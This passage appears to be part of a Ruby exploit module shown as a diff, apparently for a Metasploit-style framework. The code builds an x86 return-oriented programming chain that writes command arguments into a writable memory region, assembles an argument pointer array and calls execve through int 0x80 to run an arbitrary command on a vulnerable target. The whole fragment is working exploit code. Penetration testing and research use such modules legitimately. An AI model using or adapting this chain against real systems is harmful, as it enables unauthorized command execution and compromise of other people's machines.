rop = '' + + index = 0 + stored_argument_pointer_offsets = [] + + sys_execv_args.each_with_index do |argument, argument_no| + stored_argument_pointer_offsets << index + argument.scan(/.{1,4}/).each_with_index do |argument_part, i| + # Put location to write to in eax + rop += pop_eax + # Give location inside .data via stack + rop += [loc_dot_data + index + i * 4].pack('V') + # Pop 4 bytes of the command into ecx + rop += pop_ecx + # Give 4 bytes of command on stack + if argument_part.length == 4 + rop += argument_part + else + rop += argument_part + rand_text_alpha(4 - argument_part.length) + end + # Write the 4 bytes to the writable location + rop += mov_to_eax_addr + end + # We have to end the argument with a zero byte + index += argument.length + # We don't have "xor ecx, ecx", but we have it for eax... + rop += xor_eax_eax + rop += xchg_ecx_eax + # Put location to write to in eax + rop += pop_eax + # Give location inside .data via stack + rop += [loc_dot_data + index].pack('V') + # Write the zeros + rop += mov_to_eax_addr + index += 1 # where we can write the next argument + end + + # Append address of the start of each argument + stored_argument_pointer_offsets.each do |offset| + rop += pop_eax + rop += [loc_dot_data + index].pack('V') + rop += pop_ecx + rop += [loc_dot_data + offset].pack('V') + rop += mov_to_eax_addr + index += 4 + end + # end with zero + rop += xor_eax_eax + rop += xchg_ecx_eax + + rop += pop_eax + rop += [loc_dot_data + index].pack('V') + rop += mov_to_eax_addr + + rop += pop_ebx + rop += [loc_dot_data].pack('V') + + rop += pop_ecx + rop += [loc_dot_data + sys_execv_args.join(' ').length + 1].pack('V') + + rop += pop_edx + rop += [loc_dot_data + index].pack('V') + + # sys call 11 = sys_execve + rop += pop_eax + rop += [0x0000000b].pack('V') + + rop += int_80 + end +end